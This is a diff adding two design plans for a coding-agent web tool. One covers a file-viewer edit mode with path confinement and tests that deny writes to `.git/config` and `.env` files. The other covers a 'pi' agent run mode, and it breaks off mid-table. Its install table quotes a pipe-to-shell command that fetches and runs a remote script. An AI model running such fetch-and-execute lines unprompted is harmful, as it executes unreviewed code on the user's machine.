+also catches binary content that the NUL sniff misses. A UTF-8 BOM survives because it round-trips as a
+leading U+FEFF; do not strip it.
+
+### 4.4 Concurrency with the agent
+
+The whole use case is editing a file the agent just wrote and may write again. `baseHash` plus 409 is the
+guard. Do not use mtime alone: agents rewrite files within a single filesystem timestamp tick, and an
+identical rewrite should not be reported as a conflict.
+
+### 4.5 Symlinks and TOCTOU
+
+Covered by `validateSessionFilePath` (escape) plus `wx` temp and `rename` (post-validation swap). One
+intentional allowance: a symlink whose target is *inside* the workspace is edited through to its target,
+because `validateSessionFilePath` returns the realpath. That matches what a user tapping the file expects.
+
+---
+
+## 5. Frontend design
+
+All in `panels-ui.js` (prettier-exempt, hand-formatted; match the surrounding style), `index.html`,
+`styles.css`, `mobile.css`.
+
+### 5.1 State
+
+```js
+filePreviewEdit = { active, sessionId, path, baseHash, eol, original, dirty }
+```
+
+Reset in `closeFilePreview()` and on every `openFilePreview()` entry.
+
+### 5.2 Markup (`index.html:420-432`)
+
+Add one header button (pencil, `btn-icon-sm`, `id="filePreviewEditBtn"`, hidden by default) next to the
+copy button, and an edit bar inside the footer region holding Save / Cancel / a dirty dot. Keep the
+existing footer text element; the edit bar is a sibling toggled by class so the read-mode footer is
+untouched.
+
+### 5.3 Behavior
+
+- `openFilePreview()` shows the Edit button only when the response has `editable: true` and the render took
+  the text branch. Attachment-id previews, media, binary, pdf, docx/pptx and svg all leave it hidden.
+- **Enter edit**: re-fetch with `edit=1`; on 413 or `editable:false`, toast the reason and stay in read
+  mode. This fetch must **parse the error envelope on non-ok responses**: the existing generic
+  `if (!res.ok) throw new Error('Failed to load file')` pattern (`panels-ui.js:3275`) would swallow the
+  specific "too large to edit here" message, since error envelopes arrive with real 4xx statuses in prod. On success replace the body with `<textarea class="file-preview-editor" spellcheck="false"
+  autocapitalize="off" autocorrect="off" autocomplete="off" wrap="off">` and assign `.value = content`
+  (never `innerHTML`, so no escaping question arises). Do **not** autofocus: on a phone that opens the
+  keyboard before the user has picked a line.
+- `input` sets `dirty` and enables Save.
+- **Save**: `PUT` with `baseHash`, `eol`, and `content`. On success update `baseHash`/`original` from the
+  response, leave edit mode, re-render the read view from the local editor value (the response carries
+  metadata only, not content), toast "Saved". On **409** offer `Reload (discard mine)` / `Overwrite`:
+  Reload re-fetches `edit=1` and replaces the buffer; Overwrite re-sends with `force: true`. The 409 body
+  itself carries no state (section 3.3, step 9).
+- **Cancel / close / Escape while dirty**: `confirm('Discard unsaved changes?')`, consistent with the
+  existing `window.confirm` usage in this codebase (`panels-ui.js:4323`, `app.js:4176`). Note the global
+  Escape handler (`app.js:999-1007`) closes other panels via `closeAllPanels()` but does not touch this
+  overlay today; if Escape-to-close is wired up as part of this work it must go through the same dirty
+  guard.
+- `copyFilePreviewContent()` copies the live editor value while editing.
+
+⚠️ Repo gotcha to respect at the fetch call: **Zod `.optional()` rejects `null`**. Build the body with
+`eol: eol ?? undefined` (or declare `.nullish()`), or the PUT fails `INVALID_INPUT`. This has shipped as a
+real bug twice.
+
+### 5.4 Mobile
+
+- **Sizing.** The window is `80vw/80vh` centered with no mobile override, so when the keyboard opens on iOS
+  the lower half sits behind it. Add a `@media (max-width: 430px)` block using
+  `height: var(--app-height, 100vh)`, full width, no border radius. `--app-height` is already maintained
+  against `visualViewport` by `KeyboardHandler.handleViewportResize()` (`mobile-handlers.js:283-317`), so
+  the editor tracks the keyboard for free.
+- **iOS zoom.** The editor font must be >= 16px on phones; there is an existing zoom-prevention block at
+  `mobile.css` under `@media (max-width: 768px)`. Verify it covers `textarea` and do not override it with a
+  smaller `rem` value.
+- **Accessory bar.** Focusing any input fires `KeyboardHandler.onKeyboardShow()`, which calls
+  `KeyboardAccessoryBar.show()` and refits/resizes the terminal (`mobile-handlers.js:407+`). The bar's keys
+  target the **terminal**, not the editor, so an Esc or clear-input tap while editing goes to the agent.
+  The overlay's `z-index: 2000` covers the bar's `51`, so it is not visible, but confirm it is not
+  interactive underneath and consider an explicit `KeyboardAccessoryBar.hide()` while the editor holds
+  focus. This is the item most likely to look "fine on desktop, wrong on the phone".
+- No header-policy change is needed (section 1), so
+  `test/mobile-header-buttons-policy.test.ts` stays untouched.
+
+### 5.5 i18n
+
+`i18n.js` already skips `textarea`, `pre`, `code` and `.file-preview-content` in its `SKIP_SELECTOR`
+(`i18n.js:20-38`), so file content is never translated. Add zh-CN entries for the new chrome: Edit, Save,
+Cancel, Unsaved changes, Discard unsaved changes?, File changed on disk, Reload, Overwrite, Saved,
+Too large to edit here.
+
+---
+
+## 6. Docker and remote cases
+
+Out of scope per the issue, and the current behavior already degrades correctly:
+
+- **Docker cases**: the workspace is a host directory bind-mounted at the same absolute path, so a host-side
+  write is visible in the container immediately. Edit mode works and needs nothing special. Worth one line
+  in the docs.
+- **Remote SSH cases**: `workingDir` is a path on the remote host. `validateSessionFilePath` realpaths it
+  locally, which fails, so the write returns 404 exactly like the read routes do today. Confirm the viewer
+  shows a clean empty/error state rather than an unexplained failure, and do not attempt an SFTP path.
+
+---
+
+## 7. Tests
+
+| File                                        | Kind        | Covers                                                                 |
+| ------------------------------------------- | ----------- | ---------------------------------------------------------------------- |
+| `test/file-editing-policy.test.ts`          | pure unit   | `isEditableFileName` (allow + deny + basenames), `isDeniedEditRelativePath`, `detectEol`/`applyEol` round-trip incl. mixed EOL, BOM preservation |
+| `test/routes/file-write-routes.test.ts`     | `app.inject` | The handler order in 3.3, against a **real temp dir** (do not `vi.mock('node:fs')` in this file; set `MockSession.workingDir`, `test/mocks/mock-session.ts:14`) |
+| extend `test/routes/file-routes.test.ts`    | `app.inject` | `edit=1` never truncates; `editable` present on the plain read          |
+
+Status-code caveat for all of these: the route-test harness does not install the server's preSerialization
+envelope hook, so a handler that *returns* an error envelope answers 200 in tests. The statuses below are
+only assertable because the plan has the handler **throw** structured errors (section 3.3, error
+mechanics), which `installRouteErrorHandler` renders identically in prod and in the harness.
+
+Route cases to assert explicitly:
+
+1. happy path writes the bytes and returns a new hash
+2. `../` and absolute paths give 404
+3. symlink pointing outside the workspace gives 404
+4. symlink pointing inside is written through to the target
+5. non-allowlisted extension gives 400
+6. `.git/config` gives 403
+7. a `.env` in the workspace gives 403 (sensitive-path)
+8. a file with a NUL byte gives 400
+9. a latin-1 file that fails the UTF-8 round-trip gives 400
+10. stale `baseHash` gives 409 (`CONFLICT` envelope, no data); `force:true` then succeeds
+11. over `MAX_EDITABLE_BYTES` gives 413
+12. a path that does not exist gives 404 and creates nothing (no `O_CREAT`)
+13. multi-user: `authUser: {role:'user'}` against another user's session gives 404 (pass `authUser` to
+    `createRouteTestHarness`, otherwise the synthetic admin makes the test pass vacuously)
+14. CRLF file edited and saved stays CRLF
+15. file mode is preserved across the temp-plus-rename
+
+Run with `npm test -- test/routes/file-write-routes.test.ts`, never bare `npm test`.
+
+**End-to-end verification before any deploy** (unit tests passing is not sufficient here):
+
+- `curl -sk https://localhost:3000/...` against a **throwaway** session created for the purpose, never
+  `w1`/`w2`/`w3`; delete it by exact id afterwards.
+- Playwright on a phone profile: open a preview, tap Edit, type with `page.keyboard.type()`, Save, then
+  assert the bytes on disk changed. Assert real state, not HTTP 200.
+
+---
+
+## 8. Docs and release
+
+- This plan lives at `docs/file-viewer-edit-plan.md`.
+- `docs/architecture-invariants.md`: new anchor `#file-viewer-edit-mode` covering the write confinement
+  chain, the truncation invariant, and why temp-plus-rename.
+- `CLAUDE.md`: one line under the **Filesystem path picker** neighborhood noting that the File Viewer now
+  has a **third** file surface and that it is the only one that writes, plus its confinement rules.
+  Remember `CLAUDE.md` is prettier-ignored on purpose.
+- `docs/api-reference.md`: the new `PUT` and the `edit=1` query.
+- Release: a normal COM applies (the 1.10.0 batch hold is over). This is a new user-facing feature plus an
+  additive API surface, so **COM minor** when it ships.
+
+Formatting note: `panels-ui.js`, `styles.css`, `mobile.css`, `index.html` are all in `.prettierignore` and
+are hand-formatted; new TypeScript (`src/config/file-editing.ts`, route + schema edits) is prettier-enforced
+and must pass `npm run format:check`.
+
+---
+
+## 9. Implementation order
+
+Each phase is independently reviewable and leaves the tree working.
+
+1. **Policy module + tests.** `src/config/file-editing.ts` and `test/file-editing-policy.test.ts`. Pure, no
+   route wiring. (Small.)
+2. **Read-for-edit.** `edit=1` (returning `hash`/`eol`) plus the additive `editable` flag on plain reads,
+   tests. Nothing consumes it yet. (Small.)
+3. **Write endpoint.** `FileWriteSchema`, `PUT` handler, `test/routes/file-write-routes.test.ts`. Fully
+   testable by curl before any UI exists. (Medium, the security-relevant part.)
+4. **Desktop UI.** Edit button, textarea swap, Save/Cancel, dirty guard, 409 flow. (Medium.)
+5. **Mobile pass.** `mobile.css` sizing against `--app-height`, font size, accessory-bar interaction,
+   real-device check. (Small but the part that decides whether the feature is actually usable.)
+6. **Docs, i18n strings, changeset.**
+
+---
+
+## 10. Open decisions
+
+1. **Editor widget.** Recommend a plain `<textarea>` for v1: zero dependencies, no CSP question, no bundle
+   growth, and it is the only thing guaranteed to behave with the iOS keyboard. CodeMirror-light with
+   syntax highlighting is a clean follow-up once the write path is proven. The issue allows either.
+2. **Phone entry point.** Edit mode is reachable on a phone through attachment cards and the history
+   drawer without changing anything. A dedicated toolbar or overview affordance for "browse this session's
+   files" would make it discoverable, but it is a separate UX change and would need a decision against the
+   deliberately minimal phone header policy. Recommend deferring it and revisiting after the feature ships.
+3. **`svg` editability.** Recommend excluded in v1 (it is deliberately treated as untrusted on the read
+   side). Easy to add later.
+4. **Create / delete / rename.** Explicitly out of scope per the issue. Note that keeping `O_CREAT` out of
+   the handler is what makes that a structural property rather than a convention.

+# Pi (pi.dev) Run Mode: Implementation Plan
+
+Tracking issue: [#206 "Plans to support pi.dev?"](https://github.com/Ark0N/Codeman/issues/206)
+
+Status: **IMPLEMENTED 2026-08-13** (see `docs/pi-integration.md` for the user-facing
+guide). Everything below is the design record; the open questions were resolved
+empirically against pi 0.84.1 and the answers are recorded inline as **RESULT**
+notes. Originally reworked 2026-08-06; **rechecked 2026-08-13 against master @
+`f39beb3` (v1.17.0)**, and every line anchor below was re-verified at that commit (the 1.11.2-era
+anchors drifted heavily: six releases landed in between, including the settings-surface overhaul and
+the codex predictive-echo work, both of which added new pi touchpoints, §2.10 and the Brain picker in
+Phase 3). Upstream facts verified against `@earendil-works/pi-coding-agent` **v0.84.1** (npm latest,
+published 2026-08-07) and the [`earendil-works/pi`](https://github.com/earendil-works/pi) repo (cite
+that name: upstream docs still contain stale `pi-mono` links from a repo rename). Line numbers are
+anchors for orientation, not contracts; they drift.
+
+---
+
+## 1. What Pi is
+
+[Pi](https://pi.dev) (MIT) is a minimal, extensible coding-agent harness. Facts below are verified
+against the upstream docs in `packages/coding-agent/docs/`.
+
+| Property         | Value                                                                                              |
+| ---------------- | -------------------------------------------------------------------------------------------------- |
+| Binary           | `pi` (`bin: { pi: 'dist/cli.js' }`)                                                                |
+| npm package      | `@earendil-works/pi-coding-agent`, latest **0.84.1** (2026-08-07; 0.84.0 was 2026-08-06); `legacy-node20` dist-tag at 0.74.2 |
+| Install          | `npm install -g --ignore-scripts @earendil-works/pi-coding-agent`, or `curl -fsSL https://pi.dev/install.sh \| sh` (the curl installer also goes through global npm, so both uninstall via npm) |
+| Config dir       | `~/.pi/agent` (override: `PI_CODING_AGENT_DIR`). Holds `auth.json`, `trust.json`, `settings.json`, `models.json` (user-defined providers), `models-store.json` (cached catalogs), `keybindings.json`, `extensions/`, `skills/`, `prompts/`, `themes/`, `AGENTS.md`, `SYSTEM.md`, and the package trees `npm/` + `git/` |
+| Sessions         | `~/.pi/agent/sessions/--<cwd with / replaced by ->--/<timestamp>_<uuid>.jsonl`, tree-structured (`id`/`parentId`), format v3. Overrides: `PI_CODING_AGENT_SESSION_DIR`, `--session-dir` |
+| Credentials      | `~/.pi/agent/auth.json` (OAuth subscriptions + API keys, auto-refresh), plus ~34 provider env vars with **no common prefix**. 0.84.1 adds `pi auth check` (auth preflight with optional credential output) |
+| TUI              | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode |
+| Providers        | 15+ (Anthropic, OpenAI, Google, Azure, Bedrock, Mistral, Groq, xAI, OpenRouter, Copilot, Baseten since 0.84.0, ...). OAuth subscription login via `/login` for six: ChatGPT Plus/Pro, Claude Pro/Max, GitHub Copilot, xAI, OpenRouter, Radius |
+| Permission model | **No permission prompts at all.** No built-in sandbox, no MCP (none planned), no sub-agents, no plan mode, no to-dos, no background bash. Tools run with the user's own permissions |
+| Trust model      | "Project trust" gates **loading** of project-local `.pi/` config/extensions/skills and **installing missing project packages**, not tool execution. Triggered only when the cwd (or an ancestor) contains `.pi/settings.json`, `.pi/extensions\|skills\|prompts\|themes`, `.pi/SYSTEM.md`/`.pi/APPEND_SYSTEM.md`, or `.agents/skills`; a bare `.pi/` directory does NOT prompt. Global `defaultProjectTrust`: `ask` (default) / `always` / `never` |
+
+Three consequences shape the whole integration:
+
+1. **There is no `--dangerously-skip-permissions` analog and none is needed.** Pi never prompts for
+   tool approval. The Claude/Codex/Gemini/Antigravity pattern of "send the bypass flag so the session
+   is not stuck on a modal" does not apply. Codeman must not invent a flag here.
+2. **The one privileged knob is `--approve` / `-a`** (trust project-local files for this run), which
+   makes pi load and execute project `.pi/extensions` TypeScript **and run an npm install of missing
+   project packages**. That is the field the multi-user clamp has to cover. Its explicit inverse
+   `-na` / `--no-approve` exists, which lets the clamp force-deny rather than merely omit (§3, §5.2).
+3. **Provider keys cannot ride the env allowlist.** Pi's provider key vars (`ANTHROPIC_API_KEY`,
+   `OPENAI_API_KEY`, `DEEPSEEK_API_KEY`, `HF_TOKEN`, `BASETEN_API_KEY`, ...) share no prefix, so
+   there is no way to admit them through `ALLOWED_ENV_PREFIXES` without widening the list for every
+   mode (§2.4).
+
+---
+
+## 2. Design decisions
+
+### 2.1 Mode identity
+
+`SessionMode` gains `'pi'`. Not a location overlay (unlike Docker/remote-SSH cases), not a web tab:
+a real sixth CLI backend with its own PTY, tmux session and respawn behaviour, exactly like
+`antigravity`. Append `pi` after `antigravity` in every enum/list to keep ordering consistent.
+
+| Surface          | Value                                                                 |
+| ---------------- | --------------------------------------------------------------------- |
+| `SessionMode`    | `'pi'`                                                                |
+| Display label    | `Pi`                                                                  |
+| Tab badge        | `pi` (two-letter lowercase, like `sh`/`oc`/`cx`/`gm`/`ag`)            |
+| Run button label | `Run PI` (short-label ternary in `_applyRunMode`, pattern `Run AG`)   |
+| Kill-menu label  | `Kill Tmux & Pi`                                                      |
+| Identity color   | **`#f472b6` (rose-400)**. Verified free: live computed values on the default skin are claude `#38b6f0`, opencode `#44b993`, codex `#2b8fd9`, gemini `#8ab4f8`, antigravity `#22d3ee`, shell `#98a2b1`, web `#38bdf8`; purple is codex's base hex and amber reads as the shell tab badge, so pink/rose (or orange `#fb923c`) are the only genuinely free hues. No `pi` CSS identifier collides anywhere (`mode-pi`, `.tab-mode.pi`, `.run-mode-dot.pi` all grep clean, re-checked at f39beb3) |
+| Env prefix       | `PI_`                                                                 |
+| Dependency id    | `pi`                                                                  |
+| Status endpoint  | `GET /api/pi/status`                                                  |
+
+### 2.2 `isExternalCliMode()` yes, `isAltScreenStripMode()` no
+
+Pi joins `isExternalCliMode()` (`session.ts:164-167`): its own TUI, its own output format, so the
+Ralph tracker, `BashToolParser`, token/CLI-info scraping and the `❯` readiness probe all stay off
+(gates at `session.ts:1100`, `:1701`, `:2000`, `:2103`), and readiness falls back to the output
+stabilization used by the other external CLIs.
+
+Pi stays **out** of `isAltScreenStripMode()` (`session.ts:197-199`, currently codex/claude/gemini;
+antigravity and opencode are deliberately excluded). Pi's default TUI renders into the main screen
+with terminal-owned scrollback, so there is nothing to strip. The fullscreen mode **shipped in
+0.84.0 and is runtime-switchable via `/settings`**, so Codeman cannot assume a pi session stays
+main-screen for its lifetime; staying out of the strip list is exactly what makes that safe (the alt
+screen is load-bearing when the user flips to fullscreen, as it is for `opencode`). Putting pi IN
+the strip list would corrupt fullscreen sessions. Three mirrors must stay consistent (all unchanged
+for pi, i.e. pi appears in none of them): the replay-side strip in `session-routes.ts:2275`, the
+live-stream twin in `session.ts`, and the frontend `_sessionUsesServerMouseStrip()` in
+`terminal-ui.js` (usages `:3432`, `:3697`).
+
+### 2.3 tmux required, no direct-PTY fallback, no per-mode configurator
+
+Same rule as the other external CLIs: `pi` mode throws if tmux is unavailable. Add a fourth block to
+the guard chain at `session.ts:1751-1768` (antigravity's is `:1765-1768`).
+
+**No `_configurePi()` is needed.** Opencode/codex/gemini each have a tmux-`setenv` configurator
+(`tmux-manager.ts:1709-1727`), but antigravity has none: it relies entirely on the generic
+`applyEnvOverrides()` (`tmux-manager.ts:1643`, `VALID_KEY = /^[A-Z_][A-Z0-9_]*$/`), which runs for
+every mode in both create (`:1880`) and respawn (`:2107`) and injects via socket-scoped
+`tmux setenv`, never the spawn command line. Pi follows the antigravity precedent: `PI_*` overrides
+flow through `applyEnvOverrides()` and nothing else.
+
+Pi joins the truecolor branches: `buildEnvExports()` (`tmux-manager.ts:1604-1609`,
+`export COLORTERM=truecolor` + `unset NO_COLOR` for codex/gemini/antigravity) and the attach-env
+condition at `session.ts:1400-1402` (`buildMuxAttachEnv(...)`, whose comment says it must mirror
+`buildEnvExports`). Add `|| mode === 'pi'` to both, or the tmux session and the attach client
+disagree about color depth.
+
+### 2.4 Env prefix: `PI_` only
+
+Add `'PI_'` to `ALLOWED_ENV_PREFIXES` (`schemas.ts:125`) and to the prose error message at `:163`
+(two edits: the message hardcodes the list, and since 1.12+ it also names the exact-key allowlist,
+currently `...ANTIGRAVITY_* keys and CLAUDE_CONFIG_DIR are allowed.`; there is now a separate
+`ALLOWED_ENV_KEYS` exact-key set alongside the prefix list, which pi does not need to touch). That
+covers every documented variable pi reads: `PI_CODING_AGENT_DIR`, `PI_CODING_AGENT_SESSION_DIR`,
+`PI_PACKAGE_DIR`, `PI_OFFLINE`, `PI_SKIP_VERSION_CHECK`, `PI_TELEMETRY`, `PI_CACHE_RETENTION`,
+`PI_SHARE_VIEWER_URL`, `PI_HARDWARE_CURSOR`, `PI_EXPERIMENTAL` (whose meaning 0.84.0 extended to
+strict JSON-schema tool sampling). (Pi also *sets* `PI_CODING_AGENT=true` and `AI_AGENT=pi` in child
+processes; those are output markers, not inputs, and need nothing from us.)
+
+**Deliberately not added:** `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, `GEMINI_API_KEY`, `XAI_API_KEY`,
+`GROQ_API_KEY`, `MISTRAL_API_KEY` and the other ~28 provider keys. `ALLOWED_ENV_PREFIXES` is a
+single global list applied by one Zod refine with no mode context (`safeEnvOverridesSchema`,
+`schemas.ts:153-165`), so allowlisting bare provider keys for pi would widen the allowlist for
+**every** mode at once, violating the multi-CLI prefix discipline in CLAUDE.md. Users authenticate
+pi through `/login` (stored in `~/.pi/agent/auth.json`, auto-refreshed) or by exporting the key in
+the Codeman server process's own environment.
+
+Making the allowlist mode-aware is the clean fix, listed as a follow-up in §9. Do not smuggle it
+into this change.
+
+### 2.5 Docker credential policy: seed files, not the whole dir
+
+`CRED_STORES` (`docker-hosts.ts:597-605`; file unchanged since the 2026-08-06 verification) gets a
+`.pi/agent` entry. Nested `rel` paths already work (`.config/gcloud` maps to seed name
+`.config-gcloud` via the `replace(/\//g, '-')` at `:620`). Unlike antigravity, which needed **no**
+entry (`agy` nests all state under `~/.gemini/antigravity-cli/`, already covered by the `.gemini`
+policy, per the comment at `:599-602`), pi has its own top-level dir and needs its own entry. Use
+`seedFiles`, **not** `seedWhole`:
+
+```ts
+{ rel: '.pi/agent', seedFiles: ['auth.json', 'settings.json', 'trust.json', 'models.json', 'models-store.json'] },
+```
+
+Rationale: `~/.pi/agent` also contains `sessions/`, `extensions/`, `skills/` and the installed
+package trees (`npm/`, `git/`), which on an active host is easily gigabytes; `seedWhole` would
+`cp -a` all of it into every container start. The five seeded files are what pi needs to
+authenticate and behave consistently: `models.json` is in the list because it holds user-defined
+custom providers, and omitting it would silently strip those inside containers. Seeding (RO mount
+then copy) also means the in-container pi never writes refreshed OAuth tokens back to the host,
+which is the whole point of the seeding policy, and bind mounts stay excluded from `docker commit`
+so exports remain secret-free.
+
+Trade-off to accept and document: in-container pi sessions are not visible host-side, so `pi -c`
+inside a Docker case only sees that container's own history. Codex shares `sessions/` RW precisely
+because Codeman reads it host-side for the response viewer; there is no such reader for pi yet
+(the response-viewer follow-up in §9 would justify flipping this).
+
+### 2.6 The `pi` binary name is generic
+
+Unlike `agy`/`codex`/`gemini`, `pi` is a short, common name (Raspberry Pi tooling, personal scripts,
+`$PATH` accidents). The resolver must not blindly trust a hit. None of the existing external-CLI
+resolvers execute their binary (only `claude-cli-resolver.ts` does, via the cached
+`getClaudeCliVersion()`, skipped under vitest), so the sanity check is new ground: model it on
+`getClaudeCliVersion()`. Run `pi --version` once via `execFileSync`, cache the result module-level,
+skip under `VITEST`, and require output matching `/^\d+\.\d+\.\d+/`; on mismatch treat the binary as
+unavailable and log the rejected path. Surface `{ available, path, version }` from
+`GET /api/pi/status` so a misresolution is diagnosable from the UI (additive relative to the sibling
+endpoints' `{ available, path }`). The `dependency-registry` entry carries `versionArg: '--version'`
+for `codeman doctor`.
+
+### 2.7 tmux extended keys (a real pi-specific footgun)
+
+Pi documents (`docs/tmux.md`, verified verbatim) that without
+
+```tmux
+set -g extended-keys on
+set -g extended-keys-format csi-u
+```
+
+tmux collapses `Shift+Enter` and `Ctrl+Enter` into a plain `\r` (and `Alt+Enter` into `\x1b\r`), and
+pi's editor uses those for newline vs submit. `extended-keys-format` requires tmux 3.5+; tmux
+3.2-3.4 works with `extended-keys on` alone (pi then falls back to xterm `modifyOtherKeys`).
+Codeman's own browser input path sends `\r` for submit, so basic use works unconfigured, but
+newline-in-editor is degraded both for a user typing in an attached terminal (`sc`) and potentially
+for the browser Shift+Enter path.
+
+Upstream recommends `~/.tmux.conf` and notes the setting may need a full `tmux kill-server` restart
+to take effect. **Codeman must NEVER run `kill-server` on its socket** (it would kill every live
+session, including `w1`/`w2`/`w3`). Action: attempt to set both options **server-scoped on
+Codeman's own socket only** (`tmux -L codeman set -s ...`, never `-g` on the user's default socket)
+at the point the tmux server is first started, verify with `tmux -L codeman show-options -s` and an
+empirical Shift+Enter test which scope actually takes for the installed tmux version, and fall back
+to a documented manual step in `docs/pi-integration.md` (a `~/.tmux.conf` snippet plus the
+kill-server caveat) if it cannot be applied safely to an already-running server. Upstream does not
+discuss socket- or server-scoped configuration at all, so this verification is original work, not a
+doc lookup.
+
+**RESULT (measured, tmux 3.4 + pi 0.84.1):** `tmux -L <socket> set -s extended-keys on` takes effect
+on an **already-running** server with **no `kill-server`** — pi's own startup warning
+(`Warning: tmux extended-keys is off…`, a convenient in-band probe) disappears for the next session
+started afterwards. `extended-keys-format` does **not exist on tmux 3.4** and errors with
+`invalid option: extended-keys-format`, so the two options must be issued independently rather than
+chained. Decision: Codeman does **not** set this itself — it is a server-wide tmux option affecting
+every session of every backend, so silently changing key encoding is not Codeman's call. It is
+documented as a user step in `docs/pi-integration.md` instead, carrying the measured facts.
+
+### 2.8 The completeness trap: which mode tables fail loud vs silent
+
+Adding `'pi'` to the `SessionMode` union makes some omissions compile errors and leaves others
+silent. The plan calls this out so review can focus on the silent ones.
+
+**Loud (typecheck fails until edited):** `getModeLabel()` (`session.ts:168-183`, exhaustive switch
+with no default), `defaultDockerCommandForMode` and `defaultRemoteCommandForMode` (both typed
+`Record<...CommandMode, string>`), **but only after** `RemoteCommandMode` (`types/session.ts:48-51`)
+and `DockerCommandMode` (`:157-161`) are widened: both are `Extract<SessionMode, '...'>` with every
+member spelled out, so forgetting the `Extract` lists keeps `tsc` green while docker/remote pi cases
+silently fall back to `exec bash -l` via the `|| commands.shell` on the lookup. Edit union + both
+`Extract` lists + both `Record` literals together.
+
+**Silent (compiles clean, mode just doesn't work):**
+
+- `appendResumeFlag()` (`tmux-manager.ts:1030-1042`) has a `default:` arm; a missing `case 'pi'`
+  silently drops docker resume.
+- `buildSpawnCommand()` (`:770-825`) and `buildPathExport()` (`:1680-1707`) are if-chains with
+  fallthrough returns; a missing branch spawns pi as a login shell / with no PATH augmentation.
+- `isExternalCliMode()` / `isAltScreenStripMode()` are boolean chains.
+- The `runMode` accessor's **setter whitelist** (`session-ui.js:2949-2960`) coerces any unknown mode
+  to `'claude'`. Omitting `pi` there makes the mode **unselectable while every other edit appears to
+  work**: this is the single most deceptive omission in the frontend.
+- `window.__codemanCliAvailable` (injected by `renderIndexHtml`, `server.ts:1375-1407`): the client
+  treats a **missing key as available** (`isCliAvailable` in settings-ui.js), so forgetting the
+  injection un-gates pi on boxes without the CLI instead of hiding it.
+
+### 2.9 The Daylight skin cascade eats per-mode run-button colors
+
+A finding that changes the CSS work (verified empirically with computed styles on the live
+instance, re-confirmed at f39beb3): `styles.css:13681` opens a nested skin block,
+`html:not([data-skin="og"]) { ... }`, and the **default skin is `daylight-blue`, not `og`**, so the
+block is live for every default-skin user. Inside it, `.btn-toolbar.btn-run` is re-declared
+generically and per-mode only for claude/opencode/codex (codex at `:13787`). CSS nesting adds the
+wrapper's specificity (the nested rules resolve to (0,3,1) vs (0,3,0) for
+`.btn-toolbar.btn-run.mode-X`), so **gemini's and antigravity's toolbar gradients are dead on the
+default skin**: both render the generic claude gradient today, still unfixed as of f39beb3. The
+base-sheet rules (gemini/antigravity at `:4406`/`:4420`) only ever render on the `og` skin. Since
+1.12+ styles.css itself documents this trap in comments (`:9214`, `:11091`), which confirms the
+mechanism.
+
+Consequences for pi:
+
+- The toolbar gradient needs **two** rules: one in the base sheet (`:4420` area, for `og`), and one
+  **inside** the `13681` block next to codex's (`:13787` area), using the block's own idiom
+  (or the color is invisible to the average user).
+- `mobile.css` phone-toolbar colors need `!important` on `background`/`border-color`/`color`,
+  exactly as the CLAUDE.md gotcha prescribes. Antigravity's phone block (`mobile.css:895-910`,
+  inside the `@media (max-width: 430px)` opened at `:338`) has no `!important` and is dead on the
+  default skin; do not copy that mistake.
+- Three surfaces work from base rules alone (verified): run-mode **dots** (list at `:4506-4516`;
+  the skin block overrides only claude/opencode/codex/shell dots, so a base-sheet
+  `.run-mode-dot.pi` renders as authored), **tab badges**, and the **welcome button** (the skin
+  block overrides only claude/opencode/tunnel welcome buttons).
+- Optional, separate cleanup (not this change): gemini/antigravity could get the same in-block
+  treatment to resurrect their colors.
+
+### 2.10 Local-echo policy: pi lands on the buffer overlay by default
+
+New since the first draft of this plan: the codex predictive-echo work (1.13+) introduced a
+per-session echo policy in `_updateLocalEchoState()` (terminal-ui.js, `_localEchoPolicy` set at
+`:2837`): `codex → 'predict'` (write-through predictive echo), `shell → 'off'`, **everything else
+→ 'buffer'** (the `LocalEchoOverlay` that buffers typed text until Enter). Pi therefore gets the
+buffer overlay on touch devices with zero edits, via the fallthrough.
+
+That default is a real open question, not a freebie: the codex history (issues #218/#219/#220/#222)
+shows that a composer which re-renders per keystroke (live-filtering slash picker, server-side
+cursor movement, wrap-as-you-type) is starved by buffer-until-Enter, and pi's editor is exactly
+such a composer. Decision for v1: ship with the default `'buffer'` policy but make phone-profile
+typing an explicit E2E gate (§7 step 4); if pi's editor mis-renders under the overlay, the cheap
+fallback is forcing `'off'` for pi (one branch in `_updateLocalEchoState`), and teaching the
+predict path pi's composer row is a follow-up, not a v1 requirement.
+`test/local-echo-codex-gating.test.ts` pins the per-mode policy via
+`it.each(['claude', 'gemini', 'opencode'])` lists (`:193`, `:376`); add `'pi'` to those lists once
+the buffer decision is confirmed (or pin the `'off'` branch if that is the outcome).
+
+**RESULT (measured, pi 0.84.1, iPhone 14 Pro profile + a PTY-level A/B):** the buffer policy
+**holds**; codex's failure mode does **not** reproduce. Pi's slash picker re-filters on the **whole
+composer content**, not on per-keystroke deltas: a one-shot literal write of `/set` (what the overlay
+flush does) filters the picker to `settings` **identically** to sending `/ s e t` as five separate
+keystrokes, and the delayed `\r` then selects it and opens the settings menu. Prose prompts buffer
+correctly (`pendingText` right, nothing on the PTY before Enter), flush on Enter, and are accepted as
+a single prompt. `'pi'` was added to both `it.each` lists. The `'off'` fallback stays documented but
+unused.
+
+---
+
+## 3. Config surface: `PiConfig` to CLI flags
+
+```ts
+/** Pi CLI session configuration */
+export interface PiConfig {
+  /** Model pattern or ID. Supports `provider/id` and a `:<thinking>` suffix (e.g. `sonnet:high`). Passed via --model. */
+  model?: string;
+  /** Provider name (anthropic, openai, google, ...). Passed via --provider. */
+  provider?: string;
+  /** Reasoning level. Passed via --thinking. */
+  thinking?: 'off' | 'minimal' | 'low' | 'medium' | 'high' | 'xhigh' | 'max';
+  /** Continue the most recent session (-c). Per-cwd scoping is strongly implied upstream but not documented; treat as probable. */
+  continueSession?: boolean;
+  /** Resume a specific session by ID or partial UUID (--session). Codeman deliberately accepts ids only, never paths. */
+  resumeSessionId?: string;
+  /**
+   * Tri-state project trust (repo-local `.pi/` settings/extensions/skills, plus installing
+   * missing project packages):
+   *   true  -> --approve   (trust for this run; loads and EXECUTES repository TypeScript)
+   *   false -> --no-approve (force-deny; the trust prompt never appears)
+   *   absent -> pi's own defaultProjectTrust (ask).
+   * Multi-user: MATERIALIZED to false for non-granted owners (§5.2).
+   */
+  approveProjectTrust?: boolean;
+}
+```
+
+Flag mapping in `buildPiCommand()` (new, `tmux-manager.ts`, directly after `buildAntigravityCommand`
+at `:718-736`; every builder there regex-allowlists each user value and silently drops failures
+because the result lands in a `bash -c "..."` string):
+
+| Field                 | Flag                            | Validation                                                                        |

+
+**Not** wired in v1, with reasons:
+
